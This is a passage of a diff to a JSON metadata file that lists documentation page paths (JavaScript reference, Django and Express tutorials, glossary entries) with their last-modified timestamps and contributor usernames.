"JuFoFu", - "ZQH", - "xgqfrms-GitHub", - "Bitzo", - "uestcNaldo", - "zhuangyin", - "mooyxu", - "Hugh", - "auroraeffect", - "azhi09", - "helloguangxue", - "horizon0514", - "AlexChao" + "SirnoChan", + "qiubite-name", + "Undecyce", + "Ray-Eldath", + "DaduCC", + "NicholasCao", + "ideal.Li", + "lyllll000", + "finegao", + "INFINITSY", + "HashubWang" ] }, - "Web/JavaScript/Reference/Global_Objects/String/startsWith": { - "modified": "2020-10-15T21:21:10.667Z", + "learn/JavaScript/Howto": { + "modified": "2020-07-16T22:33:11.775Z", "contributors": [ - "zhangchen", - "YouMoeYi", - "RainSlide", - "SimonLeeee", - "SphinxKnight", - "Meteormatt", - "ziyunfei", - "teoli", - "zhangyaochun1987" + "wangwenhao", + "yuyx91" ] }, - "Web/JavaScript/Reference/Global_Objects/String/strike": { - "modified": "2019-03-23T22:19:16.420Z", + "learn/Learning_and_getting_help": { + "modified": "2020-12-06T05:06:52.891Z", "contributors": [ - "wizardforcel" + "3143875691" ] }, - "Web/JavaScript/Reference/Global_Objects/String/sub": { - "modified": "2019-03-23T22:19:14.417Z", + "learn/Performance": { + "modified": "2020-12-05T12:01:04.505Z", "contributors": [ - "xgqfrms-GitHub", - "wizardforcel" + "mayerpan", + "liguanzeng", + "Bayes", + "yangchongduo" ] }, - "Web/JavaScript/Reference/Global_Objects/String/substr": { - "modified": "2019-09-27T00:05:56.009Z", + "learn/Performance/Web_Performance_Basics": { + "modified": "2020-07-16T22:40:42.886Z", "contributors": [ - "wingtao", - "xybin1990", - "zhaoboxiang", - "xgqfrms-GitHub", - "helloguangxue", - "AlexChao" + "shuiRong", + "creative_fish" ] }, - "Web/JavaScript/Reference/Global_Objects/String/substring": { - "modified": "2020-06-10T02:59:54.363Z", + "learn/Server-side": { + "modified": "2020-07-16T22:36:03.668Z", "contributors": [ - "HCSkatana", - "SageX", - "libaixu", - "zhuangyin", - "hexianzhi", - "xgqfrms-GitHub", - "qujingyouyachu", - "helloguangxue", - "bailnl", - "AlexChao" + "ZuoRight", + "xixilog", + "JamesZhange", + "Munch_TZB", + "GHLgh" ] }, - "Web/JavaScript/Reference/Global_Objects/String/sup": { - "modified": "2019-03-23T22:19:11.494Z", + "learn/Server-side/Django": { + "modified": "2020-07-16T22:36:36.546Z", "contributors": [ - "xgqfrms-GitHub", - "wizardforcel" + "diyigechipangxie", + "xixilog", + "chinanf-boy", + "hstaoqian", + "Zhaoyu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase": { - "modified": "2019-10-14T05:00:05.180Z", + "learn/Server-side/Django/Authentication": { + "modified": "2020-07-16T22:37:25.161Z", "contributors": [ - "SageX", - "853419196", - "wizardforcel", - "xgqfrms-GitHub", - "fighting0710" + "floodwater", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase": { - "modified": "2020-10-15T22:29:43.372Z", + "learn/Server-side/Django/Deployment": { + "modified": "2020-11-23T18:29:57.524Z", "contributors": [ - "konnga" + "keetack", + "edgar-chen", + "yan-jin", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toLowerCase": { - "modified": "2020-08-21T17:39:11.325Z", + "learn/Server-side/Django/Forms": { + "modified": "2020-07-16T22:37:34.229Z", "contributors": [ - "LCLx", - "SageX", - "xgqfrms-GitHub", - "helloguangxue", - "yenshen", - "teoli", - "AlexChao", - "ziyunfei" + "buttre", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toSource": { - "modified": "2019-03-18T20:48:25.704Z", + "learn/Server-side/Django/Generic_views": { + "modified": "2020-07-16T22:37:19.625Z", "contributors": [ - "teoli", - "AlixWang" + "edgar-chen", + "xixilog", + "SphinxKnight" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toString": { - "modified": "2019-10-14T05:25:34.591Z", + "learn/Server-side/Django/Introduction": { + "modified": "2020-07-16T22:36:42.459Z", "contributors": [ - "SageX", - "AlexChao" + "khalim", + "Nel", + "ShuangFarmer", + "xiezhedaima9591", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Global_Objects/String/toUpperCase": { - "modified": "2020-10-15T22:30:43.287Z", + "learn/Server-side/Django/Models": { + "modified": "2020-07-16T22:37:00.935Z", "contributors": [ - "LCLx", - "Originalee", - "ahbiao", - "Jabin_Lee" + "shawPLUSroot", + "senghongchong7", + "phdgogogo", + "colin3dmax", + "AIIEOIBD", + "zphj1987", + "cashlu", + "xixilog", + "szlh", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Global_Objects/String/valueOf": { - "modified": "2020-10-15T22:31:18.217Z", + "learn/Server-side/Django/Sessions": { + "modified": "2020-07-16T22:37:28.578Z", "contributors": [ - "zhangming8691", - "ahbiao" + "buttre", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol": { - "modified": "2020-10-19T10:05:29.655Z", + "learn/Server-side/Django/Testing": { + "modified": "2020-07-16T22:37:39.373Z", "contributors": [ - "Alendia", - "polunzh", - "JohnhanLiu", - "Coink", - "haoXu-web", - "Revonia", - "zhangchen", - "huge", - "Bitzo", - "winjeysong", - "shaojingchao", - "xgqfrms-GitHub", - "lfkid", - "syhxczy", - "wdpm", - "helloguangxue", - "MapleGu", - "Ende93", - "X-Cracker", - "fscholz" + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive": { - "modified": "2020-10-15T21:51:10.533Z", + "learn/Server-side/Django/Tutorial_local_library_website": { + "modified": "2020-07-16T22:36:50.644Z", "contributors": [ - "zhangchen", - "Hushabyme" + "zengqi", + "ddtyjmyjm", + "hstaoqian" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/asyncIterator": { - "modified": "2020-10-15T22:20:07.992Z", + "learn/Server-side/Django/django_assessment_blog": { + "modified": "2020-07-16T22:37:49.691Z", "contributors": [ - "zhangchen", - "lzfcc" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/description": { - "modified": "2020-10-15T22:12:44.560Z", + "learn/Server-side/Django/skeleton_website": { + "modified": "2020-07-16T22:36:55.364Z", "contributors": [ - "Maiko" + "Nel", + "xixilog", + "ddtyjmyjm", + "MengLingqin", + "chinanf-boy", + "hstaoqian" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/for": { - "modified": "2019-04-22T09:08:37.458Z", + "learn/Server-side/Django/web_application_security": { + "modified": "2020-07-16T22:37:47.216Z", "contributors": [ - "Ende93", - "ziyunfei" + "knktc", + "edgar-chen", + "xixilog" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance": { - "modified": "2020-10-15T21:49:33.542Z", + "learn/Server-side/Express_Nodejs": { + "modified": "2020-07-16T22:37:56.406Z", "contributors": [ - "vent", - "zhangchen", - "AlexChao", - "Hushabyme", - "zhouytforever", - "zhengwei" + "hellorayza", + "百里笙歌", + "Frederick-S", + "yatace", + "edgar-chen", + "Ran_Lyu", + "longzhengxiong", + "sp900409", + "chenlexing", + "ant0x00" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable": { - "modified": "2020-10-15T21:49:33.460Z", + "learn/Server-side/Express_Nodejs/Displaying_data": { + "modified": "2020-10-27T00:17:29.715Z", "contributors": [ - "Ende93", - "zhengwei" + "Megrax", + "socovo", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/iterator": { - "modified": "2020-10-15T21:36:42.166Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page": { + "modified": "2020-07-16T22:38:39.461Z", "contributors": [ - "zhangchen", - "Ende93", - "ziyunfei", - "Jacksunwei" + "woshiqiang1", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/keyFor": { - "modified": "2020-10-16T06:56:40.936Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page": { + "modified": "2020-07-16T22:38:38.246Z", "contributors": [ - "le-phq", - "zh244135370", - "SphinxKnight", - "purple_force", - "ziyunfei" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/match": { - "modified": "2020-10-15T21:49:57.252Z", + "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge": { + "modified": "2020-07-16T22:38:39.803Z", "contributors": [ - "RainSlide", - "Ende93" + "staticfire", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/matchAll": { - "modified": "2020-10-15T22:18:46.613Z", + "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page": { + "modified": "2020-07-16T22:38:37.044Z", "contributors": [ - "Nodiff" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/prototype": { - "modified": "2020-10-15T21:42:54.702Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page": { + "modified": "2020-07-16T22:38:39.148Z", "contributors": [ - "zhangchen", - "purple_force" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/replace": { - "modified": "2020-10-15T21:56:21.976Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page": { + "modified": "2020-07-16T22:38:36.367Z", "contributors": [ - "Ende93", - "cuji" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/search": { - "modified": "2020-11-17T03:44:46.302Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment": { + "modified": "2020-07-16T22:38:37.610Z", "contributors": [ - "KaiserZh", - "ufolux" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/species": { - "modified": "2020-10-15T21:51:11.135Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page": { + "modified": "2020-07-16T22:38:38.748Z", "contributors": [ - "Ende93", - "Hushabyme" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/split": { - "modified": "2020-08-29T01:24:33.903Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Home_page": { + "modified": "2020-07-16T22:38:35.735Z", "contributors": [ - "vent", - "Hushabyme", - "_da" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive": { - "modified": "2020-10-15T21:51:09.142Z", + "learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template": { + "modified": "2020-10-27T06:26:13.607Z", "contributors": [ - "baooab", - "Mactaivsh", - "Hushabyme" + "Megrax", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toSource": { - "modified": "2019-09-06T06:31:54.610Z", + "learn/Server-side/Express_Nodejs/Displaying_data/Template_primer": { + "modified": "2020-07-16T22:38:34.671Z", "contributors": [ - "teoli", - "purple_force" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toString": { - "modified": "2019-03-23T23:13:48.406Z", + "learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async": { + "modified": "2020-07-16T22:38:33.746Z", "contributors": [ - "SphinxKnight", - "ziyunfei" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag": { - "modified": "2019-04-22T09:04:43.680Z", + "learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry": { + "modified": "2020-09-24T11:45:05.090Z", "contributors": [ - "ziyunfei", - "Hushabyme" + "Mdreame", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/unscopables": { - "modified": "2020-10-15T21:51:10.976Z", + "learn/Server-side/Express_Nodejs/Introduction": { + "modified": "2020-07-16T22:38:13.912Z", "contributors": [ - "Ende93", - "ywjco", - "Hushabyme" + "Roy-Tian", + "hehe1111", + "sun603", + "janyin", + "biblade", + "outman", + "congrongdeyu", + "codeofjackie", + "edgar-chen", + "bybiuhappy", + "ShirleyM", + "lofayo", + "chengzhibing" ] }, - "Web/JavaScript/Reference/Global_Objects/Symbol/valueOf": { - "modified": "2019-03-23T23:13:43.496Z", + "learn/Server-side/Express_Nodejs/Tutorial_local_library_website": { + "modified": "2020-07-16T22:38:17.531Z", "contributors": [ - "SphinxKnight", - "ziyunfei" + "Roy-Tian", + "chudongsong", + "janyin", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/SyntaxError": { - "modified": "2019-08-07T05:20:14.990Z", + "learn/Server-side/Express_Nodejs/deployment": { + "modified": "2020-07-16T22:38:50.827Z", "contributors": [ - "Ende93", - "yenshen", - "Mingun" + "edgar-chen", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype": { - "modified": "2019-03-23T23:03:07.644Z", + "learn/Server-side/Express_Nodejs/development_environment": { + "modified": "2020-07-16T22:38:02.448Z", "contributors": [ - "Ende93", - "yenshen" + "snaildarter", + "phili-p", + "Roy-Tian", + "sun603", + "yijie_sun", + "yaoqtan", + "jianchao_xue", + "edgar-chen", + "BarryLiu1995" ] }, - "Web/JavaScript/Reference/Global_Objects/TypeError": { - "modified": "2020-10-15T21:34:35.462Z", + "learn/Server-side/Express_Nodejs/forms": { + "modified": "2020-08-07T05:55:45.402Z", "contributors": [ - "Tao-Quixote", - "Ende93", - "shajiquan" + "yunxiaomeng", + "grape", + "hdh296", + "socovo", + "edgar-chen", + "zhangyu911013" ] }, - "Web/JavaScript/Reference/Global_Objects/TypeError/prototype": { - "modified": "2020-10-15T21:39:50.956Z", + "learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form": { + "modified": "2020-07-16T22:38:46.101Z", "contributors": [ - "Tao-Quixote", - "coolfireWang", - "Ende93" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray": { - "modified": "2020-10-15T21:25:05.655Z", + "learn/Server-side/Express_Nodejs/forms/Create_author_form": { + "modified": "2020-07-16T22:38:44.657Z", "contributors": [ - "knightyun", - "9-lives", - "tangtangtangtangtang", - "taoyouh", - "Jiang-Xuan", - "Gintoki", - "xgqfrms-GitHub", - "chenyang", - "liyongleihf2006", - "Ende93", - "teoli", - "David_Li" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator": { - "modified": "2019-03-23T22:19:18.717Z", + "learn/Server-side/Express_Nodejs/forms/Create_book_form": { + "modified": "2020-07-16T22:38:45.191Z", "contributors": [ - "wizardforcel" + "SphinxKnight", + "UPUP", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/@@species": { - "modified": "2019-03-23T22:19:06.809Z", + "learn/Server-side/Express_Nodejs/forms/Create_genre_form": { + "modified": "2020-07-16T22:38:43.645Z", "contributors": [ - "wizardforcel" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT": { - "modified": "2019-03-23T22:52:00.851Z", + "learn/Server-side/Express_Nodejs/forms/Delete_author_form": { + "modified": "2020-07-16T22:38:46.761Z", "contributors": [ - "iFish" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/buffer": { - "modified": "2019-03-23T22:19:06.244Z", + "learn/Server-side/Express_Nodejs/forms/Update_Book_form": { + "modified": "2020-07-16T22:38:48.713Z", "contributors": [ - "wizardforcel" + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength": { - "modified": "2019-03-23T22:19:10.941Z", + "learn/Server-side/Express_Nodejs/mongoose": { + "modified": "2020-08-12T09:45:03.710Z", "contributors": [ - "wizardforcel" + "Dazhuzhu-github", + "vpstarter", + "百里笙歌", + "socovo", + "Roy-Tian", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset": { - "modified": "2019-03-23T22:19:08.934Z", + "learn/Server-side/Express_Nodejs/routes": { + "modified": "2020-10-23T08:33:36.699Z", "contributors": [ - "wizardforcel" + "Hawaii_zzapi", + "百里笙歌", + "Roy-Tian", + "jianchao_xue", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/copyWithin": { - "modified": "2020-03-06T04:49:17.530Z", + "learn/Server-side/Express_Nodejs/skeleton_website": { + "modified": "2020-08-26T10:22:11.122Z", "contributors": [ - "knightyun", - "wizardforcel" + "Tiny-Wei", + "Roy-Tian", + "edgar-chen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/entries": { - "modified": "2019-03-23T22:19:07.170Z", + "learn/Server-side/First_steps": { + "modified": "2020-07-16T22:36:11.413Z", "contributors": [ - "wizardforcel" + "DaniellaAngel", + "edgar-chen", + "ArcherGrey", + "chf007", + "tinyCucumber", + "07akioni" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/every": { - "modified": "2019-03-23T22:19:10.485Z", + "learn/Server-side/First_steps/Client-Server_overview": { + "modified": "2020-07-16T22:36:22.601Z", "contributors": [ - "wizardforcel" + "DaniellaAngel", + "JuleHenriHu", + "WindLo", + "yijie_sun", + "ZhuZhuDrinkMilk", + "edgar-chen", + "ShuangFarmer", + "whocare", + "BarryLiu1995", + "yuantongkang", + "liminjun", + "zhuangyin", + "old2sun", + "ziyouwa", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/fill": { - "modified": "2019-03-23T22:11:01.372Z", + "learn/Server-side/First_steps/Introduction": { + "modified": "2020-09-13T05:53:31.575Z", "contributors": [ - "benpigchu" + "dake0805", + "vicco", + "yijie_sun", + "zhangchen", + "Nothosaurs", + "lonelee", + "diaotai", + "old2sun", + "ziyouwa", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/filter": { - "modified": "2019-03-23T22:19:16.643Z", + "learn/Server-side/First_steps/Web_frameworks": { + "modified": "2020-07-16T22:36:26.173Z", "contributors": [ - "wizardforcel" + "mojiangyuan", + "DaniellaAngel", + "hikigaya58", + "tongwenwu", + "zhuzhangliang", + "edgar-chen", + "JamesZhange", + "ddtyjmyjm", + "Phoenixkaze", + "Jhongwun", + "Stevenhwang", + "yinzhuoya", + "old2sun", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/find": { - "modified": "2019-03-23T22:19:12.001Z", + "learn/Server-side/First_steps/Website_security": { + "modified": "2020-10-20T04:30:22.097Z", "contributors": [ - "wizardforcel" + "Megrax", + "mayhjx", + "yi2sun", + "ZhuZhuDrinkMilk", + "goat91", + "Zeng" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/findIndex": { - "modified": "2019-03-23T22:19:14.644Z", + "Web/API/Pointer_Lock_API": { + "modified": "2020-07-02T02:40:37.086Z", "contributors": [ - "wizardforcel" + "brizer", + "fscholz", + "princetoad@gmail.com" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/forEach": { - "modified": "2020-10-15T21:51:57.505Z", + "Web/HTTP/Headers/X-DNS-Prefetch-Control": { + "modified": "2020-10-15T21:21:12.955Z", "contributors": [ - "laampui", - "wizardforcel" + "RainSlide", + "lsvih", + "zhuangyin", + "yyhaxx", + "RequireSun", + "yowangbin", + "markyun", + "Ende93", + "hucz08" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/from": { - "modified": "2020-10-15T21:57:11.137Z", + "Web/CSS/float": { + "modified": "2020-11-29T04:21:18.185Z", "contributors": [ - "knightyun", - "nekronhuang", - "pasturn" + "Nyaasu", + "RainSlide", + "Murphy1024", + "Jack.Works", + "zhuangyin", + "tcatche", + "Ende93", + "xgqfrms-GitHub", + "Sarlaka", + "fscholz", + "Sebastianz", + "xiaodongzai", + "AlexChao", + "linmx0130", + "FredWe", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/includes": { - "modified": "2019-03-23T22:19:11.643Z", + "Glossary/DHTML": { + "modified": "2019-03-23T23:46:38.426Z", "contributors": [ - "wizardforcel" + "ziyunfei", + "Wind930" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf": { - "modified": "2019-03-23T22:20:08.080Z", + "orphaned/Example_2_-_Using_UL": { + "modified": "2019-03-18T20:44:28.267Z", "contributors": [ - "xgqfrms-GitHub", - "wizardforcel" + "RainSlide", + "blue0125" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/join": { - "modified": "2019-03-23T22:19:12.294Z", + "Games/Introduction_to_HTML5_Game_Development": { + "modified": "2019-01-17T01:15:39.320Z", "contributors": [ - "wizardforcel" + "wbamberg", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/keys": { - "modified": "2019-03-23T22:19:18.105Z", + "Games/Publishing_games/Game_monetization": { + "modified": "2019-07-23T05:31:53.344Z", "contributors": [ - "wizardforcel" + "c03311", + "wbamberg", + "tannineo", + "chenXiaoZhui" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/lastIndexOf": { - "modified": "2019-03-23T22:19:04.259Z", + "Games/Techniques/Control_mechanisms/Mobile_touch": { + "modified": "2019-03-18T21:13:06.265Z", "contributors": [ - "wizardforcel" + "fisho" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/length": { - "modified": "2019-03-23T22:19:16.206Z", + "orphaned/Games/Tools/Engines_and_tools": { + "modified": "2019-03-23T22:12:27.616Z", "contributors": [ - "wizardforcel" + "wbamberg", + "ChenXiCC" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/map": { - "modified": "2019-03-23T22:19:16.989Z", + "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up": { + "modified": "2020-03-04T06:46:31.914Z", "contributors": [ - "wizardforcel" + "zmx0142857" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/name": { - "modified": "2019-03-23T22:27:51.557Z", + "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls": { + "modified": "2020-03-04T06:03:22.539Z", "contributors": [ - "lsvih" + "zmx0142857" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/of": { - "modified": "2019-03-23T22:20:06.649Z", + "Games/Introduction": { + "modified": "2019-12-05T00:08:12.532Z", "contributors": [ - "xgqfrms-GitHub" + "catcatching", + "wbamberg", + "codeofjackie", + "zsxeee", + "varcat", + "WMin", + "hansonfang", + "13310", + "magiclyde", + "fierayan" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/prototype": { - "modified": "2019-03-23T22:21:58.417Z", + "orphaned/Glossary_of_translation": { + "modified": "2019-03-23T23:33:18.884Z", "contributors": [ - "wizardforcel", - "liyongleihf2006" + "Terry.Qiao", + "xcffl", + "iwo", + "yfdyh000" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/reduce": { - "modified": "2019-03-23T22:22:18.240Z", + "Glossary/HTTP_header": { + "modified": "2020-02-12T09:54:25.924Z", "contributors": [ - "wizardforcel", - "zurl" + "RainSlide", + "zhangchen", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/reduceRight": { - "modified": "2019-03-23T22:19:12.473Z", + "Glossary/IP_Address": { + "modified": "2020-05-30T02:17:49.722Z", "contributors": [ - "wizardforcel" + "kagurakana" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/reverse": { - "modified": "2019-03-23T22:19:12.148Z", + "Glossary/Main_Axis": { + "modified": "2020-05-10T10:26:14.352Z", "contributors": [ - "wizardforcel" + "Isildur46" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/set": { - "modified": "2020-10-11T08:53:21.212Z", + "Glossary/Cross_Axis": { + "modified": "2020-06-09T04:50:28.922Z", "contributors": [ - "xyzingh", - "knightyun", - "Kylin.this" + "lmx-Hexagram", + "Isildur46" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/slice": { - "modified": "2020-10-15T21:59:28.967Z", + "Glossary/Proxy_server": { + "modified": "2019-03-18T21:22:15.777Z", "contributors": [ - "luojia", - "lvyue" + "lcw0622" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/some": { - "modified": "2020-10-15T22:06:36.897Z", + "Glossary/Graceful_degradation": { + "modified": "2020-02-12T11:01:35.540Z", "contributors": [ - "rockSandy" + "RainSlide", + "biqing" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/sort": { - "modified": "2019-03-23T22:19:06.667Z", + "Glossary/Pseudo-class": { + "modified": "2020-09-25T11:55:47.602Z", "contributors": [ - "wizardforcel" + "Ninglo" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/subarray": { - "modified": "2020-10-15T22:06:55.665Z", + "Glossary/Element": { + "modified": "2020-08-10T23:10:02.620Z", "contributors": [ - "pea3nut" + "IdEvEbI", + "244462375", + "RainSlide", + "dsdog1997", + "HDUCC", + "jianbinfu", + "pluwen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/toLocaleString": { - "modified": "2020-10-15T22:07:03.779Z", + "Glossary/Card_sorting": { + "modified": "2019-11-09T07:01:56.698Z", "contributors": [ - "taoyouh" + "Xugen-Ma" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/toString": { - "modified": "2019-03-23T22:20:22.038Z", + "Glossary/ARPA": { + "modified": "2019-03-18T20:31:46.228Z", "contributors": [ - "kameii" + "huanghe2015" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/values": { - "modified": "2019-03-23T22:19:17.373Z", + "Glossary/Domain_name": { + "modified": "2019-03-23T22:04:34.305Z", "contributors": [ - "wizardforcel" + "micblo" ] }, - "Web/JavaScript/Reference/Global_Objects/URIError": { - "modified": "2020-10-15T21:58:35.369Z", + "Glossary/baseline": { + "modified": "2020-05-10T09:55:14.332Z", "contributors": [ - "Mal_akh", - "Tao-Quixote", - "HCH.no1" + "Isildur46" ] }, - "Web/JavaScript/Reference/Global_Objects/URIError/prototype": { - "modified": "2020-10-15T22:03:36.123Z", + "Glossary/character_encoding": { + "modified": "2020-02-12T10:38:11.288Z", "contributors": [ - "Tao-Quixote" + "RainSlide", + "fish-inu" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint16Array": { - "modified": "2020-10-15T22:30:29.389Z", + "Glossary/Idempotent": { + "modified": "2020-06-05T03:53:12.558Z", "contributors": [ - "elfpower" + "bytetown", + "zhangchen", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint32Array": { - "modified": "2020-10-15T21:30:53.115Z", + "Glossary/Asynchronous": { + "modified": "2020-10-16T00:10:28.593Z", "contributors": [ - "Dorence", - "icepro", - "liyongleihf2006", - "chyee" + "Neo42", + "fish-inu" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint8Array": { - "modified": "2020-10-15T21:36:50.602Z", + "Glossary/Abstraction": { + "modified": "2020-01-16T01:08:30.168Z", "contributors": [ - "Maiko", - "wizardforcel", - "WhiteMind", - "Meteormatt", - "linus_ding" + "Kuichen" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray": { - "modified": "2020-08-30T01:01:24.154Z", + "Glossary/Digital_certificate": { + "modified": "2019-03-23T22:26:11.405Z", "contributors": [ - "vent", - "xhlsrj" + "Atester" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap": { - "modified": "2020-10-15T21:06:55.119Z", + "Glossary/Database": { + "modified": "2020-11-25T09:15:57.640Z", "contributors": [ - "Venus14", - "wallena3", - "Ende93", - "WangLeto", - "BingerWeb", - "lizheming", - "hhxxhg", - "xgqfrms-GitHub", - "kameii", - "lvjs", - "Cattla", - "teoli", - "ziyunfei" + "ZH-S" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/clear": { - "modified": "2019-03-23T22:23:38.007Z", + "Glossary/Sloppy_mode": { + "modified": "2019-03-18T21:11:47.868Z", "contributors": [ - "teoli", - "xgqfrms-GitHub", - "xx1124961758", - "xdsnet" + "serverLua", + "CapDuan" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/delete": { - "modified": "2019-03-23T23:13:54.509Z", + "Glossary/Browser": { + "modified": "2019-03-23T22:12:12.389Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "micblo", + "lavenderming" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/get": { - "modified": "2019-03-23T22:30:00.497Z", + "Glossary/Progressive_Enhancement": { + "modified": "2019-03-18T20:54:47.653Z", "contributors": [ - "Hushabyme", - "Cattla", - "legend80s" + "biqing" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/has": { - "modified": "2019-03-23T22:23:27.973Z", + "Glossary/Origin": { + "modified": "2019-03-23T22:21:16.972Z", "contributors": [ - "xdsnet" + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/prototype": { - "modified": "2019-03-23T22:23:35.449Z", + "Glossary/Forbidden_header_name": { + "modified": "2019-03-18T20:55:25.213Z", "contributors": [ - "hhxxhg", - "xdsnet" + "Opportunity", + "yuankunzhang", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/set": { - "modified": "2020-10-15T21:50:40.762Z", + "Glossary/Empty_element": { + "modified": "2020-05-27T05:46:24.967Z", "contributors": [ - "Ende93", - "xdsnet" + "changjingli", + "Ende93" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakRef": { - "modified": "2020-11-04T03:38:15.371Z", + "Glossary/IIFE": { + "modified": "2019-10-10T13:29:59.923Z", "contributors": [ - "moniang", - "DIFFICULTTOGIVE" + "SAM.L", + "RainSlide", + "zhangchen", + "CapDuan", + "baooab", + "xgqfrms-GitHub", + "zachary05" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakRef/deref": { - "modified": "2020-11-04T03:35:50.870Z", + "Glossary/time_to_first_byte": { + "modified": "2020-08-17T07:40:42.498Z", "contributors": [ - "moniang" + "Facefall" ] }, - 